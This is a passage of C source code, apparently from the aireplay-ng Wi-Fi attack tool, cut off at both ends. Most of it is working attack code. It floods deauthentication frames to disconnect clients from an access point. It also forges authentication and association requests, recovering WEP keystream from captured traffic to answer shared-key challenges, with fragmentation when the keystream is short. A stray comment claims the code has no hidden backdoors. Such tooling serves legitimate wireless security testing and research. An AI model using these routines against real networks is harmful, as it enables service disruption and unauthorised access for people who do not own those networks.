&& strlen(essid) > 0) { memset(essid2, 0, 33); memcpy(essid2, pkt_sniff+pos+2, taglen); if(strncasecmp(essid, essid2, taglen) == 0 && strlen(essid) == (unsigned)taglen) break; else { printf("For the given BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\", there is an ESSID mismatch!\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); printf("Found ESSID \"%s\" vs. specified ESSID \"%s\"\n", essid2, essid); printf("Using the given one, double check it to be sure its correct!\n"); break; } } } } } if(capa) memcpy(capa, pkt_sniff+34, 2); return chan; } /** if bssid != NULL its looking for a beacon frame */ int attack_check(unsigned char* bssid, char* essid, unsigned char* capa, struct wif *wi) { int ap_chan=0, iface_chan=0; iface_chan = wi_get_channel(wi); if(iface_chan == -1 && !opt.ignore_negative_one) { PCT; printf("Couldn't determine current channel for %s, you should either force the operation with --ignore-negative-one or apply a kernel patch\n", wi_get_ifname(wi)); return -1; } if(bssid != NULL) { ap_chan = wait_for_beacon(bssid, capa, essid); if(ap_chan < 0) { PCT; printf("No such BSSID available.\n"); return -1; } if((ap_chan != iface_chan) && (iface_chan != -1 || !opt.ignore_negative_one)) { PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan); return -1; } } return 0; } int getnet( unsigned char* capa, int filter, int force) { unsigned char *bssid; if(opt.nodetect) return 0; if(filter) bssid = opt.f_bssid; else bssid = opt.r_bssid; if( memcmp(bssid, NULL_MAC, 6) ) { PCT; printf("Waiting for beacon frame (BSSID: %02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n", bssid[0],bssid[1],bssid[2],bssid[3],bssid[4],bssid[5],wi_get_channel(_wi_in)); } else if(strlen(opt.r_essid) > 0) { PCT; printf("Waiting for beacon frame (ESSID: %s) on channel %d\n", opt.r_essid,wi_get_channel(_wi_in)); } else if(force) { PCT; if(filter) { printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n"); } else { printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n"); } return( 1 ); } else return 0; if( attack_check(bssid, opt.r_essid, capa, _wi_in) != 0) { if(memcmp(bssid, NULL_MAC, 6)) { if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32) { printf( "Please specify an ESSID (-e).\n" ); } } if(!memcmp(bssid, NULL_MAC, 6)) { if(strlen(opt.r_essid) > 0) { printf( "Please specify a BSSID (-a).\n" ); } } return( 1 ); } return 0; } int xor_keystream(unsigned char *ph80211, unsigned char *keystream, int len) { int i=0; for (i=0; i<len; i++) { ph80211[i] = ph80211[i] ^ keystream[i]; } return 0; } int capture_ask_packet( int *caplen, int just_grab ) { time_t tr; struct timeval tv; struct tm *lt; fd_set rfds; long nb_pkt_read; int i, j, n, mi_b=0, mi_s=0, mi_d=0, mi_t=0, mi_r=0, is_wds=0, key_index_offset; int ret, z; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; if( opt.f_minlen < 0 ) opt.f_minlen = 40; if( opt.f_maxlen < 0 ) opt.f_maxlen = 1500; if( opt.f_type < 0 ) opt.f_type = 2; if( opt.f_subtype < 0 ) opt.f_subtype = 0; if( opt.f_iswep < 0 ) opt.f_iswep = 1; tr = time( NULL ); nb_pkt_read = 0; signal( SIGINT, SIG_DFL ); while( 1 ) { if( time( NULL ) - tr > 0 ) { tr = time( NULL ); printf( "\rRead %ld packets...\r", nb_pkt_read ); fflush( stdout ); } if( opt.s_file == NULL ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 1; tv.tv_usec = 0; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) continue; gettimeofday( &tv, NULL ); *caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( *caplen < 0 ) return( 1 ); if( *caplen == 0 ) continue; } else { /* there are no hidden backdoors in this source code */ n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = *caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); return( 1 ); } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) *caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } } nb_pkt_read++; if( filter_packet( h80211, *caplen ) != 0 ) continue; if(opt.fast) break; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; is_wds = 0; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; is_wds = 0; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; is_wds = 0; break; case 3: mi_t = 10; mi_r = 4; mi_d = 16; mi_s = 24; is_wds = 1; break; // WDS packet } printf( "\n\n Size: %d, FromDS: %d, ToDS: %d", *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { // if (is_wds) key_index_offset = 33; // WDS packets have an additional MAC, so the key index is at byte 33 // else key_index_offset = 27; key_index_offset = z+3; if( ( h80211[key_index_offset] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } printf( "\n\n" ); if (is_wds) { printf( " Transmitter = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_t ], h80211[mi_t + 1], h80211[mi_t + 2], h80211[mi_t + 3], h80211[mi_t + 4], h80211[mi_t + 5] ); printf( " Receiver = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_r ], h80211[mi_r + 1], h80211[mi_r + 2], h80211[mi_r + 3], h80211[mi_r + 4], h80211[mi_r + 5] ); } else { printf( " BSSID = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_b ], h80211[mi_b + 1], h80211[mi_b + 2], h80211[mi_b + 3], h80211[mi_b + 4], h80211[mi_b + 5] ); } printf( " Dest. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_d ], h80211[mi_d + 1], h80211[mi_d + 2], h80211[mi_d + 3], h80211[mi_d + 4], h80211[mi_d + 5] ); printf( " Source MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_s ], h80211[mi_s + 1], h80211[mi_s + 2], h80211[mi_s + 3], h80211[mi_s + 4], h80211[mi_s + 5] ); /* print a hex dump of the packet */ for( i = 0; i < *caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf( "\n\nUse this packet ? " ); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) break; } if(!just_grab) { pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_src-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving chosen packet in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed\n" ); return( 1 ); } pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = *caplen; pkh.len = *caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); } return( 0 ); } int read_prga(unsigned char **dest, char *file) { FILE *f; int size; if(file == NULL) return( 1 ); if(*dest == NULL) *dest = (unsigned char*) malloc(1501); f = fopen(file, "r"); if(f == NULL) { printf("Error opening %s\n", file); return( 1 ); } fseek(f, 0, SEEK_END); size = ftell(f); rewind(f); if(size > 1500) size = 1500; if( fread( (*dest), size, 1, f ) != 1 ) { fclose(f); fprintf( stderr, "fread failed\n" ); return( 1 ); } opt.prgalen = size; fclose(f); return( 0 ); } void add_icv(unsigned char *input, int len, int offset) { unsigned long crc = 0xFFFFFFFF; int n=0; for( n = offset; n < len; n++ ) crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; input[len] = (crc ) & 0xFF; input[len+1] = (crc >> 8) & 0xFF; input[len+2] = (crc >> 16) & 0xFF; input[len+3] = (crc >> 24) & 0xFF; return; } void send_fragments(unsigned char *packet, int packet_len, unsigned char *iv, unsigned char *keystream, int fragsize, int ska) { int t, u; int data_size; unsigned char frag[32+fragsize]; int pack_size; int header_size=24; data_size = packet_len-header_size; packet[23] = (rand() % 0xFF); for (t=0; t+=fragsize;) { //Copy header memcpy(frag, packet, header_size); //Copy IV + KeyIndex memcpy(frag+header_size, iv, 4); //Copy data if(fragsize <= packet_len-(header_size+t-fragsize)) memcpy(frag+header_size+4, packet+header_size+t-fragsize, fragsize); else memcpy(frag+header_size+4, packet+header_size+t-fragsize, packet_len-(header_size+t-fragsize)); //Make ToDS frame if(!ska) { frag[1] |= 1; frag[1] &= 253; } //Set fragment bit if (t< data_size) frag[1] |= 4; if (t>=data_size) frag[1] &= 251; //Fragment number frag[22] = 0; for (u=t; u-=fragsize;) { frag[22] += 1; } // frag[23] = 0; //Calculate packet length if(fragsize <= packet_len-(header_size+t-fragsize)) pack_size = header_size + 4 + fragsize; else pack_size = header_size + 4 + (packet_len-(header_size+t-fragsize)); //Add ICV add_icv(frag, pack_size, header_size + 4); pack_size += 4; //Encrypt xor_keystream(frag + header_size + 4, keystream, fragsize+4); //Send send_packet(frag, pack_size); if (t<data_size)usleep(100); if (t>=data_size) break; } } int do_attack_deauth( void ) { int i, n; int aacks, sacks, caplen; struct timeval tv; fd_set rfds; if(getnet(NULL, 0, 1) != 0) return 1; if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 ) printf( "NB: this attack is more effective when targeting\n" "a connected wireless client (-c <client's mac>).\n" ); n = 0; while( 1 ) { if( opt.a_count > 0 && ++n > opt.a_count ) break; usleep( 180000 ); if( memcmp( opt.r_dmac, NULL_MAC, 6 ) != 0 ) { /* deauthenticate the target */ memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); aacks = 0; sacks = 0; for( i = 0; i < 64; i++ ) { if(i == 0) { PCT; printf( "Sending 64 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.r_dmac[0], opt.r_dmac[1], opt.r_dmac[2], opt.r_dmac[3], opt.r_dmac[4], opt.r_dmac[5], sacks, aacks ); } memcpy( h80211 + 4, opt.r_dmac, 6 ); memcpy( h80211 + 10, opt.r_bssid, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_dmac, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); while( 1 ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 0; tv.tv_usec = 1000; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) break; caplen = read_packet( tmpbuf, sizeof( tmpbuf ), NULL ); if(caplen <= 0 ) break; if(caplen != 10) continue; if( tmpbuf[0] == 0xD4) { if( memcmp(tmpbuf+4, opt.r_dmac, 6) == 0 ) { aacks++; } if( memcmp(tmpbuf+4, opt.r_bssid, 6) == 0 ) { sacks++; } PCT; printf( "Sending 64 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.r_dmac[0], opt.r_dmac[1], opt.r_dmac[2], opt.r_dmac[3], opt.r_dmac[4], opt.r_dmac[5], sacks, aacks ); } } } printf("\n"); } else { /* deauthenticate all stations */ PCT; printf( "Sending DeAuth to broadcast -- BSSID:" " [%02X:%02X:%02X:%02X:%02X:%02X]\n", opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2], opt.r_bssid[3], opt.r_bssid[4], opt.r_bssid[5] ); memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 4, BROADCAST, 6 ); memcpy( h80211 + 10, opt.r_bssid, 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); for( i = 0; i < 128; i++ ) { if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); } } } return( 0 ); } int do_attack_fake_auth( void ) { time_t tt, tr; struct timeval tv, tv2, tv3; fd_set rfds; int i, n, state, caplen, z; int mi_b, mi_s, mi_d; int x_send; int kas; int tries; int retry = 0; int abort; int gotack = 0; unsigned char capa[2]; int deauth_wait=3; int ska=0; int keystreamlen=0; int challengelen=0; int weight[16]; int notice=0; int packets=0; int aid=0; unsigned char ackbuf[14]; unsigned char ctsbuf[10]; unsigned char iv[4]; unsigned char challenge[2048]; unsigned char keystream[2048]; if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(capa, 0, 1) != 0) return 1; if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32) { printf( "Please specify an ESSID (-e).\n" ); return 1; } memcpy( ackbuf, "\xD4\x00\x00\x00", 4 ); memcpy( ackbuf + 4, opt.r_bssid, 6 ); memset( ackbuf + 10, 0, 4 ); memcpy( ctsbuf, "\xC4\x00\x94\x02", 4 ); memcpy( ctsbuf + 4, opt.r_bssid, 6 ); tries = 0; abort = 0; state = 0; x_send=opt.npackets; if(opt.npackets == 0) x_send=4; if(opt.prga != NULL) ska=1; tt = time( NULL ); tr = time( NULL ); while( 1 ) { switch( state ) { case 0: if (opt.f_retry > 0) { if (retry == opt.f_retry) { abort = 1; return 1; } ++retry; } if(ska && keystreamlen == 0) { opt.fast = 1; //don't ask for approval memcpy(opt.f_bssid, opt.r_bssid, 6); //make the filter bssid the same, that is used for auth'ing if(opt.prga==NULL) { while(keystreamlen < 16) { capture_ask_packet(&caplen, 1); //wait for data packet z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; memcpy(iv, h80211+z, 4); //copy IV+IDX i = known_clear(keystream, &keystreamlen, weight, h80211, caplen-z-4-4); //recover first bytes if(i>1) { keystreamlen=0; } for(i=0;i<keystreamlen;i++) keystream[i] ^= h80211[i+z+4]; } } else { keystreamlen = opt.prgalen-4; memcpy(iv, opt.prga, 4); memcpy(keystream, opt.prga+4, keystreamlen); } } state = 1; tt = time( NULL ); /* attempt to authenticate */ memcpy( h80211, AUTH_REQ, 30 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); if(ska) h80211[24]=0x01; printf("\n"); PCT; printf( "Sending Authentication Request" ); if(!ska) printf(" (Open System)"); else printf(" (Shared Key)"); fflush( stdout ); gotack=0; for( i = 0; i < x_send; i++ ) { if( send_packet( h80211, 30 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 1: /* waiting for an authentication response */ if( time( NULL ) - tt >= 2 ) { if(opt.npackets > 0) { tries++; if( tries > 15 ) { abort = 1; } } else { if( x_send < 256 ) { x_send *= 2; } else { abort = 1; } } if( abort ) { printf( "\nAttack was unsuccessful. Possible reasons:\n\n" " * Perhaps MAC address filtering is enabled.\n" " * Check that the BSSID (-a option) is correct.\n" " * Try to change the number of packets (-o option).\n" " * The driver/card doesn't support injection.\n" " * This attack sometimes fails against some APs.\n" " * The card is not on the same channel as the AP.\n" " * You're too far from the AP. Get closer, or lower\n" " the transmit rate.\n\n" ); return( 1 ); } state = 0; challengelen = 0; printf("\n"); } break; case 2: state = 3; tt = time( NULL ); /* attempt to authenticate using ska */ memcpy( h80211, AUTH_REQ, 30 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); h80211[1] |= 0x40; //set wep bit, as this frame is encrypted memcpy(h80211+24, iv, 4); memcpy(h80211+28, challenge, challengelen); h80211[28] = 0x01; //its always ska in state==2 h80211[30] = 0x03; //auth sequence number 3 fflush(stdout); if(keystreamlen < challengelen+4 && notice == 0) { notice = 1; if(opt.prga != NULL) { PCT; printf( "Specified xor file (-y) is too short, you need at least %d keystreambytes.\n", challengelen+4); } else { PCT; printf( "You should specify a xor file (-y) with at least %d keystreambytes\n", challengelen+4); } PCT; printf( "Trying fragmented shared key fake auth.\n"); } PCT; printf( "Sending encrypted challenge." ); fflush( stdout ); gotack=0; gettimeofday(&tv2, NULL); for( i = 0; i < x_send; i++ ) { if(keystreamlen < challengelen+4) { packets=(challengelen)/(keystreamlen-4); if( (challengelen)%(keystreamlen-4) != 0 ) packets++; memcpy(h80211+24, challenge, challengelen); h80211[24]=0x01; h80211[26]=0x03; send_fragments(h80211, challengelen+24, iv, keystream, keystreamlen-4, 1); } else { add_icv(h80211, challengelen+28, 28); xor_keystream(h80211+28, keystream, challengelen+4); send_packet(h80211, 24+4+challengelen+4); } if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 3: /* waiting for an authentication response (using ska) */ if( time( NULL ) - tt >= 2 ) { if(opt.npackets > 0) { tries++; if( tries > 15 ) { abort = 1; } } else { if( x_send < 256 ) { x_send *= 2; } else { abort = 1; } } if( abort ) { printf( "\nAttack was unsuccessful. Possible reasons:\n\n" " * Perhaps MAC address filtering is enabled.\n" " * Check that the BSSID (-a option) is correct.\n" " * Try to change the number of packets (-o option).\n" " * The driver/card doesn't support injection.\n" " * This attack sometimes fails against some APs.\n" " * The card is not on the same channel as the AP.\n" " * You're too far from the AP. Get closer, or lower\n" " the transmit rate.\n\n" ); return( 1 ); } state = 0; challengelen=0; printf("\n"); } break; case 4: tries = 0; state = 5; if(opt.npackets == -1) x_send *= 2; tt = time( NULL ); /* attempt to associate */ memcpy( h80211, ASSOC_REQ, 28 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); n = strlen( opt.r_essid ); if( n > 32 ) n = 32; h80211[28] = 0x00; h80211[29] = n; memcpy( h80211 + 30, opt.r_essid, n ); memcpy( h80211 + 30 + n, RATES, 16 ); memcpy( h80211 + 24, capa, 2); PCT; printf( "Sending Association Request" ); fflush( stdout ); gotack=0; for( i = 0; i < x_send; i++ ) { if( send_packet( h80211, 46 + n ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 5: /* waiting for an association response */ if( time( NULL ) - tt >= 5 ) { if( x_send < 256 && (opt.npackets == -1) ) x_send *= 4; state = 0; challengelen = 0; printf("\n"); } break; case 6: if( opt.a_delay == 0 && opt.reassoc == 0 ) { printf("\n"); return( 0 ); } if( opt.a_delay == 0 && opt.reassoc == 1 ) { if(opt.npackets == -1) x_send = 4; state = 7; challengelen = 0; break; } if( time( NULL ) - tt >= opt.a_delay ) { if(opt.npackets == -1) x_send = 4; if( opt.reassoc == 1 ) state = 7; else state = 0; challengelen = 0; break; } if( time( NULL ) - tr >= opt.delay ) { tr = time( NULL ); printf("\n"); PCT; printf( "Sending keep-alive packet" ); fflush( stdout ); gotack=0; memcpy( h80211, NULL_DATA, 24 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); if( opt.npackets > 0 ) kas = opt.npackets; else kas = 32; for( i = 0; i < kas; i++ ) if( send_packet( h80211, 24 ) < 0 ) return( 1 ); } break; case 7: /* sending reassociation request */ tries = 0; state = 8; if(opt.npackets == -1) x_send *= 2; tt = time( NULL ); /* attempt to reassociate */ memcpy( h80211, REASSOC_REQ, 34 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); n = strlen( opt.r_essid ); if( n > 32 ) n = 32; h80211[34] = 0x00; h80211[35] = n; memcpy( h80211 + 36, opt.r_essid, n ); memcpy( h80211 + 36 + n, RATES, 16 ); memcpy( h80211 + 30, capa, 2); PCT; printf( "Sending Reassociation Request" ); fflush( stdout ); gotack=0; for( i = 0; i < x_send; i++ ) { if( send_packet( h80211, 52 + n ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 8: /* waiting for a reassociation response */ if( time( NULL ) - tt >= 5 ) { if( x_send < 256 && (opt.npackets == -1) ) x_send *= 4; state = 7; challengelen = 0; printf("\n"); } break; default: break; } /* read one frame */ FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 1; tv.tv_usec = 0; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) continue; caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; if( caplen == 10 && h80211[0] == 0xD4) { if( memcmp(h80211+4, opt.r_smac, 6) == 0 ) { gotack++; if(gotack==1) { printf(" [ACK]"); fflush( stdout ); } } } gettimeofday(&tv3, NULL); //wait 100ms for acks if ( (((tv3.tv_sec*1000000 - tv2.tv_sec*1000000) + (tv3.tv_usec - tv2.tv_usec)) > (100*1000)) && (gotack > 0) && (gotack < packets) && (state == 3) && (packets > 1) ) { PCT; printf("Not enough acks, repeating...\n"); state=2; continue; } if( caplen < 24 ) continue; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } /* check if the dest. MAC is ours and source == AP */ if( memcmp( h80211 + mi_d, opt.r_smac, 6 ) == 0 && memcmp( h80211 + mi_b, opt.r_bssid, 6 ) == 0 && memcmp( h80211 + mi_s, opt.r_bssid, 6 ) == 0 ) { /* check if we got an deauthentication packet */ if( h80211[0] == 0xC0 ) //removed && state == 4 { printf("\n"); PCT; printf( "Got a deauthentication packet! (Waiting %d seconds)\n", deauth_wait ); if(opt.npackets == -1) x_send = 4; state = 0; challengelen = 0; read_sleep( deauth_wait * 1000000 ); deauth_wait += 2; continue; } /* check if we got an disassociation packet */ if( h80211[0] == 0xA0 && state == 6 ) { printf("\n"); PCT; printf( "Got a disassociation packet! (Waiting %d seconds)\n", deauth_wait ); if(opt.npackets == -1) x_send = 4; state = 0; challengelen = 0; read_sleep( deauth_wait ); deauth_wait += 2; continue; } /* check if we got an authentication response */ if( h80211[0] == 0xB0 && (state == 1 || state == 3) ) { if(ska) { if( (state==1 && h80211[26] != 0x02) || (state==3 && h80211[26] != 0x04) ) continue; } printf("\n"); PCT; state = 0; if( caplen < 30 ) { printf( "Error: packet length < 30 bytes\n" ); read_sleep( 3*1000000 ); challengelen = 0; continue; } if( (h80211[24] != 0 || h80211[25] != 0) && ska==0) { ska=1; printf("Switching to shared key authentication\n"); read_sleep(2*1000000); //read sleep 2s challengelen = 0; continue; } n = h80211[28] + ( h80211[29] << 8 ); if( n != 0 ) { switch( n ) { case 1: printf( "AP rejects the source MAC address (%02X:%02X:%02X:%02X:%02X:%02X) ?\n", opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] ); break; case 10: printf( "AP rejects our capabilities\n" ); break; case 13: case 15: ska=1; if(h80211[26] == 0x02) printf("Switching to shared key authentication\n"); if(h80211[26] == 0x04) { printf("Challenge failure\n"); challengelen=0; } read_sleep(2*1000000); //read sleep 2s challengelen = 0; continue; default: break; } printf( "Authentication failed (code %d)\n", n ); if(opt.npackets == -1) x_send = 4; read_sleep( 3*1000000 ); challengelen = 0; continue; } if(ska && h80211[26]==0x02 && challengelen == 0) { memcpy(challenge, h80211+24, caplen-24); challengelen=caplen-24; } if(ska) { if(h80211[26]==0x02) { state = 2; /* grab challenge */ printf( "Authentication 1/2 successful\n" ); } if(h80211[26]==0x04) { state = 4; printf( "Authentication 2/2 successful\n" ); } } else { printf( "Authentication successful\n" ); state = 4; /* auth. done */ } } /* check if we got an association response */ if( h80211[0] == 0x10 && state == 5 ) { printf("\n"); state = 0; PCT; if( caplen < 30 ) { printf( "Error: packet length < 30 bytes\n" ); sleep( 3 ); challengelen = 0; continue; } n = h80211[26] + ( h80211[27] << 8 ); if( n != 0 ) { switch( n ) { case 1: printf( "Denied (code 1), is WPA in use ?\n" ); break; case 10: printf( "Denied (code 10), open (no WEP) ?\n" ); break; case 12: printf( "Denied (code 12), wrong ESSID or WPA ?\n" ); break; default: printf( "Association denied (code %d)\n", n ); break; } sleep( 3 ); challengelen = 0; continue; } aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF); printf( "Association successful :-) (AID: %d)\n", aid ); deauth_wait = 3; fflush( stdout ); tt = time( NULL ); tr = time( NULL ); state = 6; /* assoc. done */ } /* check if we got an reassociation response */ if( h80211[0] == 0x30 && state == 8 ) { printf("\n"); state = 7; PCT; if( caplen < 30 ) { printf( "Error: packet length < 30 bytes\n" ); sleep( 3 ); challengelen = 0; continue; } n = h80211[26] + ( h80211[27] << 8 ); if( n != 0 ) { switch( n ) { case 1: printf( "Denied (code 1), is WPA in use ?\n" ); break; case 10: printf( "Denied (code 10), open (no WEP) ?\n" ); break; case 12: printf( "Denied (code 12), wrong ESSID or WPA ?\n" ); break; default: printf( "Reassociation denied (code %d)\n", n ); break; } sleep( 3 ); challengelen = 0; continue; } aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF); printf( "Reassociation successful :-) (AID: %d)\n", aid ); deauth_wait = 3; fflush( stdout ); tt = time( NULL ); tr = time( NULL ); state = 6; /* reassoc. done */ } } } return( 0 ); } int do_attack_interactive( void ) { int caplen, n, z; int mi_b, mi_s, mi_d; struct timeval tv; struct timeval tv2; float f, ticks[3]; unsigned char bssid[6]; unsigned char smac[6]; unsigned char dmac[6]; read_packets: if( capture_ask_packet( 